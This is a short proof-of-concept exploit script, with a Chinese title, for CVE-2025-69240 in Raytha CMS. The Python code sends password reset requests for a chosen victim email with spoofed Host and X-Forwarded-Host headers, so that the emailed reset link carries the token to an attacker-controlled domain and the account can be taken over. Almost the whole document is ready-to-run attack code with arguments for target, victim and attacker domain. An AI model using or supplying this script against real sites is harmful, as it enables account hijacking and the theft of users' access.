CVE-2025-69240 Raytha CMS HTTP主机头注入漏洞导致账户接管

# CVE-2025-69240 PoC - Raytha CMS Host Header Injection # Description: Attacker spoofs Host/X-Forwarded-Host header to redirect password reset link import requests import argparse from bs4 import BeautifulSoup def exploit_raytha_cms(target_url, victim_email, attacker_domain): """ Exploit CVE-2025-69240 by sending password reset request with spoofed Host header Args: target_url: Base URL of vulnerable Raytha CMS instance victim_email: Email address of the victim attacker_domain: Attacker's controlled domain to capture tokens """ # Step 1: Request password reset with spoofed Host header reset_endpoint = f"{target_url}/auth/password-reset" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', # Spoof the Host header to redirect password reset link 'X-Forwarded-Host': attacker_domain, 'Host': attacker_domain } data = { 'email': victim_email } print(f"[*] Sending password reset request for {victim_email}") print(f"[*] Spoofed Host header: {attacker_domain}") try: response = requests.post(reset_endpoint, data=data, headers=headers, verify=False) print(f"[+] Password reset request sent") print(f"[*] Check attacker domain logs for incoming token requests") print(f"[*] The victim will receive an email with reset link pointing to: https://{attacker_domain}/auth/password-reset?token=XXX") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-69240 Raytha CMS Host Header Injection') parser.add_argument('--target', required=True, help='Target Raytha CMS URL') parser.add_argument('--email', required=True, help='Victim email address') parser.add_argument('--attacker-domain', required=True, help='Attacker controlled domain') args = parser.parse_args() exploit_raytha_cms(args.target, args.email, args.attacker_domain)